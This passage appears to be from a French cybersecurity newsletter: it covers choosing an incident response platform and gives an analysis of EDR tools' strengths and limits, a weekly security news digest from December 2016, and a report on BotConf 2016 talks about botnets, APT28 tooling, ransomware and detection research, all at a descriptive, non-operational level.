      Avant de se lancer dans le choix et le déploiement de son outil de SIRP, il s’agit, pour en tirer un maximum parti, d’évaluer son organisation et son niveau de maturité sur les aspects de la détection et réponse à incident pour ensuite définir la cible attendue et enfin estimer l’écart (gap analysis) et notamment les points que le SIRP pourra et devra supporter.

      Voici quelques questions à se poser :
      • Sur l’existant : quelle est ma maturité sur la détection et la réponse à incident ? Comment sont répartis mes actifs ? Quelles sont les équipes qui les exploitent et gèrent les incidents ? Quels sont les processus existants ou manquants (traitement, escalade, communication, etc.) ? Quelles sont les solutions préventives et de détections principales ? Même si l’outillage pourra aider, il ne remplacera pas une organisation non fonctionnelle ou encore qui manque complètement de compétences.
      • Quelles sont les contraintes règlementaires qui s’imposent à tout ou partie des métiers et du SI (LPM, PDIS, BALE, etc.) ? Le SIRP peut-il jouer un rôle dans cette mise en conformité ? 
      • Finalement, quels sont les gains attendus ? Par exemple, s’agit-il principalement de renforcer la communication entre plusieurs périmètres / équipes de supervision et gestion des incidents ? S’agit-il d’améliorer la traçabilité et la capitalisation d’informations ? S’agit-il aussi de standardiser et d’automatiser au maximum les actions d’analyse et/ou de réaction ? 
      Un travail collaboratif est vivement encouragé afin de s’assurer que chacun puisse y trouver son compte pour choisir l’outil le mieux adapté aux besoins et en maximiser son adoption et donc sa valeur.

      Choisir la solution adaptée à son contexte 

      La phase d’identification des besoins prend réellement toute son importance dans le processus de choix d’une solution SIRP. En effet, il existe une forte variété de solutions pouvant répondre à tout ou partie des attentes.

      Ces solutions peuvent être classées suivant deux grands critères :
      • La solution est-elle open source (issue d’un projet, gratuite et modifiable à souhait mais potentiellement sans support professionnel) ou au contraire commerciale (packagée et prête à l’emploi avec un support technique mais en contrepartie payante) ? 
      • La solution a-t-elle été créée dans l’objectif de gérer les incidents de sécurité IT ou au contraire est-elle issue du monde de la production IT et en ce sens une extension d’un outil de ticketing / ITSM ?

      À noter par exemple :
      1. Côté open source [3] : la plateforme FIR (Fast Incident Response) créée et maintenue par le CERT de la Société Générale.
      2. Côté ITSM [2] : ServiceNow, leader de l’ITSM en SaaS qui a récemment ajouté une offre « Security Operation Management » supportée par 3 applications ServiceNow : « Security Incident Response », « Vulnerability Management » et « Threat Intelligence ».
      3. Côté des pure players SOAR / SIRP [4] :
      • Resilient (acquis par IBM en mai 2016) qui propose sa solution éponyme dédiée. Resilient est certainement l’acteur historique sur le marché des SIRP.
      • RSA (division sécurité d’EMC, en cours de rachat par Dell) propose la solution « SecOps » intégrée à son offre « Advanced SOC ».
      • DFLabs, société italienne, dont la solution « IncMan » est le produit phare.

      Typiquement, si vous êtes un CERT/CSIRT ou une seule équipe de réponse à incident à « forte expertise », un outil développé par un autre CERT/CSIRT (ex. FIR du CERT-SG), personnalisé et exploité par vos soins constitue certainement le meilleur choix.

      A contrario si votre société utilise une solution ITSM largement déployée et que celle-ci offre un module de gestion des incidents de sécurité, peut-être faut-il porter un soin particulier à l’idée de capitaliser sur l’ITSM en évaluant soigneusement les fonctionnalités spécifiques aux incidents de sécurité.

      Si vous avez un haut niveau de maturité, que vous recherchez définitivement des fonctionnalités avancées pour la réponse à incident et qui soient supportées par défaut (par exemple un plugin multi-SIEM, la multi-threat intelligence, etc.), peut-être est-il judicieux d’examiner les quelques pure-player du marché ; ceux-ci étant largement tirés par les États-Unis et ses MSSP (Managed Security Service Provider).

      Conclusion

      Un SIRP n’est bien sûr pas indispensable nous pouvons faire de la réponse à incident sans SIRP. Mais pour certains organismes, notamment les grandes entreprises réparties sur plusieurs plaques géographiques et/ou plusieurs sites, cela peut être intéressant.
      Un SIRP permet de gagner en efficacité sur le traitement des incidents (délais, qualité de la réponse, valorisation des actions, etc.), offre un reporting de la réponse à incident et assure une coordination entre les différentes équipes.

      Mais comme toute nouvelle solution sur un système d’information, c’est par un accompagnement des différentes parties prenantes au changement que pourra passer sa bonne intégration.
      Mathieu HARTHEISER

      EDR, ces outils « Next-Gen » sont-ils utiles contre les menaces actuelles ?


      Au vu des différentes attaques qui assaillent le quotidien des entreprise et par rebond des investigateurs et analystes sur incident, l’assertion suivante reflète assez fidèlement le niveau de protection des systèmes d’information :

      « La présence d’un antivirus, HIPS, IDS sur le système cible ne présente que peu, voire aucun challenge pour l’attaquant.»

      Certes, ces solutions forcent l’attaquant à prendre quelques précautions standards qui relèvent plus du bon sens que de l’ingéniosité :
      • Réserver de nouveaux noms de domaine.
      • Recompiler le programme malveillant.
      • Éviter les scans massifs…
      Mais les mécanismes de détection et de prévention actuels n’empêchent aucunement l’attaquant de pénétrer dans le réseau de l’entreprise, encore moins de se propager sur les partages et postes internes des collaborateurs.

      Fort de ce constat, plusieurs acteurs mettent en valeur une vague d’outils « innovants » afin de répondre à trois problématiques majeures identifiées par les entreprises :
      • Détecter une attaque avancée.
      • Obtenir plus de visibilité sur le terminal (poste et serveur).
      • Remédier à distance les nuisances d’une attaque.
      Avant d’aborder en détail le fonctionnement de ces nouvelles solutions marketing-ment appelées EDR, « Endpoint Detection and Response » ou encore « anti-APT endpoint », prenons le temps de souligner les limites des solutions classiques.

      Limites des solutions classiques 

      Solutions antivirales 

      Les solutions antivirales, positionnées tant au niveau du terminal qu’au niveau des serveurs de messagerie présentent des fonctions de sécurité indispensables et permettent de se protéger contre les menaces et attaques diffuses. Toutefois, force est de constater que ces outils ne sont pas équipés pour détecter, encore moins bloquer, une attaque ciblée qui utilise un malware inconnu voire dans certains cas aucun malware (cf. Hacking team).
      Sans forcément naviguer dans le monde obscur de l’obfuscation manuelle du code, il est assez trivial de contourner tous les antivirus du marché via une simple exécution en mémoire. En effet, un antivirus scanne automatiquement tout fichier qui est écrit sur le disque. Dès lors, un malware qui s’exécute uniquement en mémoire via l’une des nombreuses techniques existantes (dropper, injection de processus, injection de DLL, etc.) contourne toutes les protections présentes sur le terminal.

      Intrusion Detection System

      Les solutions IDS en contrepartie font face à un problème encore plus challenging : l’obsolescence des signatures. La protection qu’offre un IDS est aussi efficace que sa base de signatures. Certes il est possible et recommandé d’implémenter des règles de corrélation comportementales, via un SIEM à titre d’exemple, mais peu d’entreprises prennent le temps d’étudier et mettre en place ces règles soit par manque de temps, de ressource, d’expertise ou à cause des limitations des outils du marché.

      Endpoint Detection & Response : une nouvelle approche

      De plus en plus d’éditeurs s’intéressent à la problématique du poste de travail afin d’offrir une solution qui puisse détecter intelligemment une attaque mais également mener une investigation à distance et effectuer des actions de remédiation.

      Nous aborderons en détail chacune de ces trois fonctionnalités afin d’apporter un éclairage sur la valeur ajoutée de ces outils par rapport aux solutions antivirales classiques, mais également mettre en évidence leurs limitations face à une véritable attaque ciblée.

      Acteurs du marché

      De manière très macroscopique, il est possible de distinguer quatre constellations importantes d’acteurs dans l’univers des EDR :
      • Des pure-players qui sont dédiés au domaine de l’EDR et focalisent toute leur énergie sur les différents aspects du sujet : SentinelOne, Cylance, Carbon Black, etc.
      • Des acteurs globaux, ces géants de l’informatique et de la sécurité : RSA, Cisco et Palo Alto proposent également des solutions EDR, principalement issus de rachat de pure-players mais qui ont généralement l’avantage de bien s’intégrer avec leurs solutions classiques.
      • Des acteurs spécialisés en investigation numérique (Digital Forensics & Incident Response - DFIR) : certains acteurs tels que Guidance et FireEye se sont fortement inspirés de leurs interventions sur des incidents afin de développer des outils EDR.
      • Enfin, contre toute attente, les éditeurs de solutions antivirales qui agrémentent leur antivirus de quelques fonctionnalités inspirées du monde EDR.

      Détection des menaces

      L’une des attentes majeures d’un EDR est bien sûr sa capacité de détecter des attaques avancées pour lesquelles aucun IOC (indicateur de compromission) n’est disponible. Nous nous limiterons donc aux solutions proposant un moteur de détection intelligent et autonome.
      Quatre techniques de détection sont généralement employées par les acteurs du marché.

      Détection de l’exploitation d’une vulnérabilité

      Cette approche typiquement adoptée par des acteurs tels que FireEye, Confer (racheté par Carbon Black) ou encore Palo Alto profite d’un constat assez simple.
      Qu’elle soit connue ou non (zéro-day) une vulnérabilité est exploitée via des techniques classiques, répertoriées et surtout dénombrables : dépassement de tampon, retour à des instructions, injection DLL, préparation du tas, etc.
      Ces solutions ciblent donc la manifestation de ces techniques dans la mémoire des processus lancés sur le système et lèvent une alerte le cas échéant.
      Ceci dit, afin d’avoir un niveau de visibilité satisfaisant sur le système, il est nécessaire de détourner une partie non négligeable des appels systèmes effectués par le système d’exploitation, intervenir dans le maniement des objets par le noyau, etc. Autant d’opérations qui peuvent facilement causer des dénis de service voire endommager le système.
      Aussi l’approche généralement suivie est de ne surveiller que les processus souvent exploités par les attaquants i.e : une zéro-day sur flash aurait en revanche de grandes chances d’être détectée par ces outils. Une zéro-day sur le process smb.exe qui gère le partage de fichiers aurait beaucoup de chance de passer inaperçue.

      Détection d’un comportement malveillant

      Contrairement à la détection de l’exploitation d’une vulnérabilité, qui intervient dans les phases amont d’une attaque, la détection d’un comportement malveillant suppose que l’attaquant a pris, ou est en train de prendre, la main sur le poste.
      Certains outils tels que Carbon Black, RSA ou encore SentinelOne préfèrent ainsi se concentrer sur des enchainements d’actions qui sont caractéristiques d’une attaque. À titre d’exemple, un éditeur de texte (notepad) qui exécute un processus cmd.exe et ouvre une connexion sur le port 443 d’un serveur hébergé dans un autre continent, est synonyme d’une action pour le moins suspecte et sera (dans l’idéal) remontée comme telle par ces outils.
      L’inconvénient majeur de ce mode de détection est bien entendu le nombre de faux positifs que cela peut générer. Un exemple assez parlant se présente sous la forme des documents Office, qui pour peu qu’ils embarquent une macro un tant soit peu complexe, sont instantanément détectés par certaines de ces solutions comme des malwares. L’une des principales raisons est l’écriture massive dans les répertoires temporaires de l’utilisateur %APPDATA% ou %TEMP% d’icônes, d’images, etc. comportement assez similaire à celui d’un malware.

      Détection via sandbox

      Certains éditeurs, principalement les acteurs de solutions antivirales, proposent une mise à jour de leur agent afin d’inclure des « capacités EDR ». Ceci est certes séduisant d’un point de vue déploiement et exploitation, mais bien souvent la mise à jour de l’agent n’ajoute qu’une étape de validation externe dans le processus de détection : si un fichier présent sur le disque ne correspond à aucune signature mais est tout de même considéré comme suspect, via une analyse statique du dit-fichier, ce dernier est envoyé à une sandbox qui l’exécute dans un environnement virtuel afin de statuer sur son état.
      Outre le temps de détection inhérent à l’envoi et l’analyse du fichier sur un serveur distant ainsi que les potentiels problématiques de déploiement dans le cloud d’une telle sandbox, la détection se base toujours sur l’inspection des fichiers présents sur le disque uniquement et n’inspecte pas les processus qui tournent en mémoire sur l’endpoint.
      Par ailleurs, le fait d’avoir un écart entre l’environnement d’exécution du malware (machine virtuelle - sandbox) et l’environnement de dépôt du fichier (terminal) introduit un biais qui peut se révéler fatal. En effet, plusieurs malwares se servent de cet écart afin de conditionner l’exécution de la charge utile malveillante et ainsi tromper les systèmes de sandboxing.

      Détection via apprentissage

      Contrairement aux outils de détection réseau, très peu d’acteurs EDR se sont aventurés dans le domaine de la détection des menaces via l’apprentissage du comportement de l’utilisateur.
      Les techniques de détection présentées précédemment identifient bien des écarts, mais ces écarts sont renseignés sous forme de « liste noire » de comportements connus pour être malveillants. Là est la nuance qui ne va pas sans rappeler les principes des signatures, quoique sous une forme plus raffinée.
      C’est ainsi que des acteurs tels que Triumfant suivent une approche assez intéressante : ils construisent un modèle mathématique qui décrit l’état nominal de l’activité d’un utilisateur sur un poste de travail. Toute variation par rapport à cet état : utilisation du privilège se_debug pour la première fois, présence de cinq comptes actifs sur le poste au lieu d’un seul, etc. remonte une alerte sécurité, qui sera validée ou non par l’opérateur.
      Des acteurs comme Guidance s’inspirent de cette démarche mais modélisent plutôt le comportement de l’ensemble du parc informatique, ce qui permet effectivement de détecter un malware qui se propage sur le SI, mais pourrait faire défaut lors d’une attaque ciblée qui n’impacte que quelques postes.

      Synthèse

      Ces mécanismes de détection sont bien sûr très complémentaires et certains éditeurs n’hésitent pas à s’inspirer de plusieurs approches pour construire leur moteur de détection, toutefois ceci ne couvre pas l’intégralité des menaces. De ce fait, presque toutes les solutions incorporent un flux d’intelligence communiqué par les laboratoires de recherche des éditeurs, des clients, etc.
      Ces flux d’intelligence reposent sur les traditionnels indicateurs de compromission (IOC), qui reprennent finalement les avantages, et surtout limitations, de la détection via signatures depuis longtemps proposée par les antivirus…

      Capacités d’investigation

      L’un des besoins majeurs mis en avant par les entreprises est la possibilité d’obtenir l’état de du terminal et de collecter des informations techniques à un instant t. Ceci se traduit par exemple par la récupération sur demande des artefacts suivants :
      • Les processus et services actuellement présents sur l’endpoint.
      • La liste des fichiers présents dans le répertoire %AppData%.
      • Une copie de la mémoire vive.
      Ce qui autrefois nécessitait un script powershell développé à la main peut maintenant s’effectuer presque instantanément depuis une console centralisée et ainsi offrir une vision exhaustive de l’état du parc informatique.
      Outre le gain indéniable en efficacité, la fiabilité des résultats en est également améliorée. En effet, les fonctions de recherches à distance présentes nativement sur Windows sont limitées à l’espace utilisateur (ring 4) et ne peuvent pas détecter les processus/fichiers/clés de registres cachés par des malwares avancés (ring 0).
      Ceci représente en effet l’atout majeur d’un agent installé sur le poste, pourvu qu’il soit installé au niveau du noyau et implémente des fonctions bas niveau.
      Beaucoup d’éditeurs vont un cran plus loin en exposant des API permettant d’automatiser ces actions redondantes de recherche.
      Le format des IOC supportés varie d’un éditeur à un autre selon les choix stratégiques effectués : YARA pour Guidance qui a un background investigation, OpenIOC pour CarbonBlack et FireEye, alors que RSA supporte de nombreux formats. Néanmoins presque tous les éditeurs convergent petit à petit vers le support de l’ensemble des formats.
      Aussi, afin d’approfondir certaines analyses suite à une alerte, les éditeurs n’hésitent pas à s’interfacer avec des outils de sandbox tiers, ou propres à l’éditeur afin de mener des analyses plus avancées, c’est le cas de Cisco, Hexis, et tant d’autres.

      Options de remédiation

      Le troisième aspect naturellement traité par les EDR est bien sûr la remédiation à distance des terminaux. Avant de traiter ce sujet néanmoins, il est intéressant de considérer la réelle valeur ajoutée d’une telle fonctionnalité. En effet, supprimer un fichier, DLL, processus à distance ne garantit aucunement l’éradication du malware. Certains malwares tels que Greyfish s’attaquent par exemple au BIOS et peuvent persister après le formatage du disque.
      Toutefois, les incidents quotidiens n’impliquent pas systématiquement un malware aussi complexe que Greyfish et la possibilité de supprimer une clé de registre de persistance classique pourrait bien faciliter la vie de nombre d’analystes.
      Du fait de cette problématique, d’un côté des éditeurs comme FireEye proposent uniquement d’isoler le poste infecté ce qui garantit un certain confinement de la menace, d’un autre côté des éditeurs comme Carbon Black ou Guidance proposent d’agir au niveau du système afin d’effectuer des opérations avancées au niveau du noyau et tenter de remédier le poste.
      Enfin, d’autres acteurs comme Cisco ou RSA permettent de supprimer à distance quelques artefacts mais cela ne traite que superficiellement l’infection.
      Un acteur peu connu en France, Triumfant permet lui d’effectuer des opérations chirurgicales au niveau de la mémoire afin de corriger les altérations du malware (tables IDT, SSDT, etc.) et traiter ainsi des malwares assez complexes.

      Attention par contre, si la console de l’outil EDR tombe dans de mauvaises mains, elle peut devenir une arme de destruction assez massive.

      Conclusion

      Les solutions classiques antivirales, IDS, etc. présentent certes des protections faillibles mais il est illusoire de penser que les « nouvelles » solutions du marché fournissent des résultats parfaits et infaillibles, surtout sur l’aspect détection.
      Un antivirus reste de mise, en particulier pour se protéger des malwares basiques et ne pourra être remplacé par un EDR.
      Au final, la valeur ajoutée d’un tel outil se situerait plus au niveau des options de collecte d’artefacts, de recherche d’IOC voire de remédiation à distance qui faciliteront grandement les opérations des équipes de réponse à incident en cas d’attaque d’ampleur.
      Ces outils devront cependant être particulièrement sécurisés pour ne pas être eux-mêmes des vecteurs facilitateurs de l’attaque.
      Ayoub ELAASSAL

      CERT-W : retour sur l'actualité de la semaine du 19 décembre au 25 décembre 2016


      Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

      [Brève] Google lance le projet Wycheproof, un ensemble de tests de sécurité qui vérifient la présence de failles connues sur les bibliothèques de logiciels cryptographiques
      En tout, 80 tests disponibles sur le GitHub ont été mis à disposition des développeurs afin de repérer des faiblesses de chiffrement courantes qui pourraient servir aux pirates à mener leurs attaques. 40 bugs de sécurité dans les bibliothèques existantes ont déjà été découverts et corrigés (ou presque).
      Sources :
      https://security.googleblog.com/2016/12/project-wycheproof.html
      https://github.com/google/wycheproof 

      [Brève] Piratage de YAHOO! : des informations de comptes d’utilisateurs vendues sur le marché noir
      La base de données ayant fuité contenant les informations de plus d’un milliard de comptes YAHOO!, serait vendue sur le marché noir. Trois personnes se seraient déjà portées acquéreurs de cette base, mise en vente pour $300 000.
      Sources :

      [Brève] Une Vulnérabilité dans Cisco CloudCenter Orchestrator Docker Engine permettant une élévation de privilège sur le système cible
      Sources :

      [Brève] Une nouvelle version de Signal intègre une technique permettant de contourner les censures
      Signal est considérée comme l’application de messagerie instantanée la plus sécurisée. Sa dernière mise à jour vient d'être développée pour mettre en place des mécanismes appelés "domain fronting" pour contourner les censures et les restrictions appliquées par les gouvernements qui veulent éviter son utilisation. La technique consiste à envoyer des requêtes à un "front domain" et à utiliser l'en-tête HTTP pour déclencher une redirection vers un domaine différent.
      Sources :

      [Brève] Karpustkiy : le groupe de hackers a piraté le site web de l’ambassade de la chine au Costa Rica
      Une base de données de plus de 280 identifiants de connexion a pu être accédée dont 50 publiés comme une preuve de l’attaque : Les enregistrements fuités concerneraient les ID, les courriels et les mots de passe chiffrés. Le site serait en effet, affecté par plusieurs vulnérabilités de type injection SQL.
      Source :

      [Brève] Un nouvel outil de déchiffrement permettant de récupérer les fichiers chiffrés par la dernière version du ransomware CryptXXX a été rendu public par Kaspersky
      Plus de 80 000 internautes seraient touchés par le ransomware. Kaspersky a mis en place un outil permettant de déchiffrer les fichiers chiffrés par CryptXXX v.3. Il conseille aussi aux victimes de ransomwares de ne pas payer la rançon demandée, même s’il n’existe pas encore d’outil de déchiffrement pour la version du malware qui les a attaqués. Il leur suggère d’enregistrer les fichiers endommagés et d’attendre que des outils de déchiffrement appropriés soient disponibles.
      Sources :

      [Brève] Une vulnérabilité de sécurité permettant de voir les adresses email privées de n’importe quel utilisateur Facebook a été découverte à travers un programme de bug bounty
      Sources :

      [Brève] Une vulnérabilité dans OpenSSH permettrait une escalade de privilège
      Source :

      [Brève] Des hackers peuvent contrôler un avion en exploitant une vulnérabilité présente dans un système de divertissement pour avions de ligne
      Une vulnérabilité a été découverte dans un système de divertissement pour avion, développé par Panasonic et utilisé par 13 compagnies aériennes majeures. Cette faille pourrait permettre à un attaquant d’infiltrer les systèmes d’avion et même de les contrôler. Il serait ainsi possible d'afficher des informations erronées sur une trajectoire de vol, par exemple, ou dans d'autres cas, de voler des informations personnelles et des données de carte de paiement des voyageurs.
      Sources :

      [Brève] Après Mirai, le malware Rakos cible les machines Linux et les appareils IoT
      Il ciblerait à la fois les périphériques grand public et les serveurs. Les attaquants ciblent les ports SSH ouverts sur divers périphériques linux et utilisent des méthodes de force brute pour compromettre les cibles. Le malware pourrait ensuite recruter des hôtes dans un botnet qui peut être utilisé pour une variété d'activités malveillantes, notamment les campagnes de DDOS à grande échelle.
      Sources :

      [Brève] Fandroid : le trojan bancaire maintenant doté de fonctions de ransomware
      Le malware aurait déjà la capacité de voler les informations d'identification de plus de 2 000 applications financières Android. Des fonctions de chiffrement de fichiers appelées Faketoken ont été rajoutées au cheval de troie.
      Source :
      http://www.theregister.co.uk/2016/12/20/faketoken_mobile_banking_malware/
      Nicolas DAUBRESSE & Binetou LO

      Compte-rendu de la BotConf 2016

      La quatrième édition de la BotConf se tenait cette année du 30 novembre au 2 décembre, à l’université Lyon 2. Cette conférence, orientée sur la lutte contre les botnets, a regroupé une vingtaine de présentations en anglais dont voici un bref compte-rendu.

      Locky, Dridex, Necurs: the evil triad

      Après une introduction d’Éric Freysinnet, Jean-Michel Picot, de Google, a présenté la façon dont les malwares sont perçus du point de vue de Gmail. Une grande partie de la présentation fut dédiée aux techniques utilisés par ces malwares pour éviter la détection. La présentation étant identifiée comme confidentielle, les détails ne seront pas divulgués dans cet article.

      Visiting the Bear’s Den

      Jessy Campos de la société ESET, prit alors la parole pour présenter son travail, ainsi que celui de Joan Calvet et Thomas Dupuy qui étaient absents, concernant le groupe d’attaquants connu sous le nom de Sednit, ou encore APT28, Fancy Bear, Sofacy, et bien d’autres. Le groupe Sednit vise principalement des personnes impliquées dans la vie politique d’Europe de l’est. Les capacités des personnes qui composent le groupe sont très avancées, preuve en est l’utilisation de nombreuses 0-days et d’un outillage bien fourni.

      Au travers de l’histoire de Serge, une cible imaginaire du groupe Sednit, Jessy Campos a présenté le déroulement d’une attaque, ainsi que les différents outils que son équipe et lui ont pu analyser.

      Lundi, 9h30, Serge ouvre un email, et clique sur un lien dont l’URL ressemble fortement à une URL légitime. Malheureusement pour lui, il fait alors la rencontre de SEDKIT. SEDKIT est un Exploit Kit utilisé pour la première fois en septembre 2014, et encore actif de nos jours. Généralement transmis par le biais d’un mail de phishing, l’outil permet aux membres de Sednit de sélectionner leurs cibles.
      Imitation d’URLs légitimes dans les mails de phishing
      Une fois la cible choisie, SEDKIT va alors télécharger SEDUPLOADER, un outil composé de deux parties, un dropper et une charge malveillante, aperçu pour la première fois en mars 2015, et étant toujours actif. Au travers d’un workflow en quatre étapes durant lesquelles de nombreuses techniques sont utilisées, SEDUPLOADER va télécharger SEDRECO.

      Workflow suivi par SEDUPLOADER
      Lundi, 10h, Serge est donc infecté par SEDRECO. Cette backdoor, vu pour la première fois en 2012, et toujours active, a la capacité de charger des plugins externes. C’est la configuration de cette charge malveillante, présente dans un fichier « .msd » chiffré, qui va donc définir les actions de SEDRECO, avec toujours pour objectif l’espionnage des actions effectuées sur le terminal infecté.
      Extrait des fonctionnalités proposées par SEDRECO
      SEDUPLOADER va également permettre le téléchargement de l’outil XAGENT, une backdoor modulaire disposant de versions pour Windows, Linux et iOS, généralement déployée par le groupe Sednit après la phase de reconnaissance. Cet outil va alors permettre l’extraction d’informations jusqu’au serveur C&C par le biais de mails dont l’objet, le contenu, ainsi que les pièces jointes se doivent de sembler le plus légitime possible.
      Schéma d’extraction des données par XAGENT
      À partir de ce moment, les différentes informations et actions de Serge sont enregistrées et envoyées au serveur C&C. Différents codes malveillants permettent ainsi l’extraction des mots de passe, mais également la prise de captures d’écran à chaque déplacement de souris. De plus, l’outil XTUNNEL permet les mouvements latéraux au sein du Système d’Information de Serge.
      Mouvements latéraux effectués par XTUNNEL
      L’arsenal de Sednit contient également de nombreux moyens de persistance que Jessy Campos a pu détailler lors de sa conférence.
      Le support de présentation, ainsi que des papiers de recherche sur le groupe, sont disponibles aux adresses suivantes pour de plus amples informations :


      LURK – The story about Five Years of Activity

      Vladimir Kroporov de Trend Micro a alors présenté un autre groupe d’attaquants que lui et Fyodor Yarochkin, de l’académie Sinica, ont pu étudier. Ce groupe, qui vise principalement la Russie à l’aide du banking trojan LURK, est actif depuis de nombreuses années. LURK a en effet été détecté pour la première fois en 2011, et est le premier malware à intégrer une charge malveillante directement en mémoire, ce qui rend complexe sa détection, mais implique l’absence de persistance.

      Vladimir Kroporov a présenté les différents patterns permettant la détection de LURK, ainsi que l’infrastructure, les méthodes, et l’évolution du malware. Les supports de présentation peuvent être trouvés à l’adresse suivante :

      Browser-based Malware: Evolution and Prevention

      Ce fût ensuite au tour de Andrey Kovalev et Evgeny Sidorov, travaillant pour Yandex, d’effectuer leur présentation sur les attaques de type Man-in-the-Browser utilisées par certains malwares. Ce type d’attaques consiste à intercepter et détourner les appels entre le navigateur et ses mécanismes de sécurité. Les attaques de ce type proviennent principalement d’extensions, de proxy WFP, ou encore de VPN.
      Principe de fonctionnement d’une attaque Man-in-the-Browser
      La suite de la présentation fût consacrée à la présentation des malwares Eko et SmartBrowse. Eko est une extension malveillante pour Chrome. Pour parvenir à faire installer cette extension à d’autres cibles, Eko utilise la technique précédente pour envoyer aux contacts des messages privés Facebook contenant un lien vers cette extension. Une fois le navigateur infecté, Eko va récupérer les accès au compte Facebook de l’utilisateur.
      Architecture du malware Eko
      SmartBrowse est également une extension Chrome malveillante qui sert de plateforme pour l’installation d’autres malwares. L’une des fonctionnalités de SmartBrowse est qu’il parvient à passer outre le mécanisme de sécurité interdisant l’installation d’extensions.
      Architecture du malware SmartBrowse
      Concernant la détection et la protection de ce type d’attaque, les techniques sont limitées. L’utilisation de Content-Security-Policy, habituellement utilisé pour limiter les attaques de type XSS, est une première approche mais peut être contrôlé par les extensions. Une autre approche est la validation de l’intégrité du code en JavaScript. Cette méthode est plus complexe à contourner pour les malwares, étant donné que la suppression du script de détection risque de limiter les fonctionnalités de la page.
      Le support de présentation est disponible à l’adresse suivante :



      Language Agnostic Botnet Detection Based on ESOM and DNS

      Cette présentation, effectuée par Rocco Mandrysh de RUAG, présente les travaux qu’il a effectué avec Christian Dietz, Urs Anliker et Gabi Dreo, à propos d’une méthode de détection des malwares à partir de noms de domaine. Les malwares, comme l’explique Rocco Mandrysh, utilisent souvent des algorithmes de génération de noms de domaine (DGA) qui, si leur fonctionnement peut être déduit à partir des exécutables, pourraient permettre de générer la liste des domaines possiblement utilisés par un malware donné, créant ainsi une liste d’IOC complète.
      L’approche de Rocco Mandrysh et de ses collègues vient compléter cette pensée en présentant une méthode par machine learning, permettant de regrouper les malwares sur une carte en utilisant l’outil ESOM, facilitant ainsi leur identification.
      Exemple de sortie d’ESOM
      Le support de présentation est disponible à l’adresse suivante :

       

      Vawtrak Banking Trojan: A threat to the Banking Ecosystem

      Raashid Bhat et Victor Acin, de l’entreprise Blueliv, ont présenté leurs travaux d’analyse sur le malware Vawtrak. Ce malware, historiquement nommé Neverquest, a été observé pour la première fois en 2013 et a beaucoup évolué depuis. C’est un cheval de Troie à visée financière qui utilise des techniques avancées de type Man-in-the-Browser pour parvenir à récupérer les identifiants des utilisateurs infectés.
      Le support de présentation, ainsi que l’analyse technique du malware, sont accessibles aux URLs suivantes :

      Snoring Is Optional: The Metrics and Economics of cyber Insurance for Malware Related Claims

      Wayne Crowder, travaillant chez Risk Analytics, a effectué une présentation non technique sur les botnets, en prenant le point de vue des cyber-assurances. Cette présentation, reprend les différents éléments qui composent une bonne cyber-assurance, ainsi que de nombreux exemples et chiffres d’attaques passées.
      Le support de présentation est disponible à l’URL suivante :
       

      Hunting Droids from the Inside

      Lukasz Siewierski, également de Google, a conclu la première journée en présentant différentes méthodes utilisées par les botnets Android. Cette présentation étant également confidentielle, les détails ne seront pas présentés dans cet article


      Ransomware and Beyond

      Pour entamer le deuxième jour de conférence, Christiaan Beek travaillant chez Intel Security a choisi de parler de ransomwares, et notamment de leur évolution cette année. Après une brève introduction sur les différentes familles de ransomwares en 2015, ainsi que sur l’intérêt grandissant pour le terme dans les recherches Google cette même année, Christiaan s’est donc concentré sur une année qui a vu de nombreuses évolutions chez les ransomwares : 2016.
      Le nombre de ransomwares, mais également les techniques utilisées par cette famille de malware a en effet grandement évolué cette année, avec des exemples comme Petya et Mamba qui réalisent respectivement un chiffrement partiel (MBR) et complet du disque.
      Évolution des techniques utilisées par les ransomwares ces derniers mois
      Christiaan a ensuite continué sa présentation en expliquant pourquoi les ransomwares sont tant utilisés. L’un des arguments qu’il a évoqué est notamment la « satisfaction client », qui peut paraitre étonnant pour un malware, mais s’applique parfaitement pour la sous famille des ransomwares. En effet, il n’est pas rare de voir sur les forums des messages de remerciement écrits par les victimes et à destination des attaquants, expliquant qu’ils ont bien reçu la clé de déchiffrement après avoir payé. Certains ransomwares proposent même de poser directement des questions aux attaquants, même s’il semble assez rare que des négociations aboutissent.
      Exemple de page de contact provenant d’un ransomware
      Enfin, Christiaan a présenté sa démarche d’utilisation du machine learning dans l’objectif d’améliorer la détection et le classement des ransomwares, pour enfin finir par la présentation de la plateforme « No more ransom ! » dont l’objectif est la mise à disposition par les professionnels de techniques de déchiffrement adaptées aux ransomwares.
      Page d’accueil du site nomoreransom.org
      Le support de la présentation est disponible à l’adresse suivante :


      Attacking Linux/Moose 2.0 Unraveled an EGO MARKET

      La seconde présentation de la journée fût celle d’Olivier Bilodeau et Masarah Paquet-Clouston travaillant chez GoSecure, qui présentaient leurs travaux de recherche sur le botnet Linux/Moose. Ce sujet, qui avait déjà été abordé en 2015, fût largement orienté sur les cibles et le marché du botnet.
      Le support de présentation ainsi qu’un article complémentaire sont disponibles aux adresses suivantes :

      Tracking Exploit Kits

      John Bambenek, travaillant pour Fidelis Cybersecurity, a ensuite effectué une présentation sur la traque des Exploit Kits. L’objectif d’une telle traque est la mise à mal de l’écosystème qui tourne autour des Exploit Kits. John a présenté différentes techniques et outils pouvant faciliter cette démarche, comme par exemple l’outil ekdeco ou encore le site contagiodump.blogspot.fr.

      Le support de présentation est accessible à l’adresse suivante :

      Improve DDoS Botnet Tracking With Honeypots

      La présentation suivante, effectuée par Ya Liu, du laboratoire de recherche en sécurité réseau de Qihoo 360 avait pour objet l’utilisation de honeypots dans la traque des botnets, et notamment l’identification de familles de botnets à l’aide des algorithmes de génération de paquets (PGA).
      Le support de la présentation est disponible à l’adresse suivante :

      Function Identification and Recovery Signature Tool

      Angel Villega a conclu la matinée en présentant l’outil FIRST, un plugin IDA permettant l’identification de fonctions partagées par de multiples échantillons de malware. Les analystes pourraient donc rapidement identifier des fonctions déjà étudiées, automatisant ainsi les tâches répétitives. Le plugin se base sur une base de données qu’il est possible d’héberger sur un serveur en interne, et un serveur publique est déjà disponible : first-plugin.us.
      Le support de présentation est accessible à l’adresse suivante :
       

      Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk)

      Tom Ueltschi, qui travaille au CERT de la poste Suisse, a ensuite détaillé l’utilisation de Sysmon et Splunk comme outils de détection. Deux types de détection sont importantes sur un environnement : les détections au niveau réseau et les détections basées sur l’hôte. Pour Tom, les meilleurs outils pour effectuer ces détections sont Bro du côté réseau, et Sysmon et Splunk pour les éléments présents sur l’hôte.
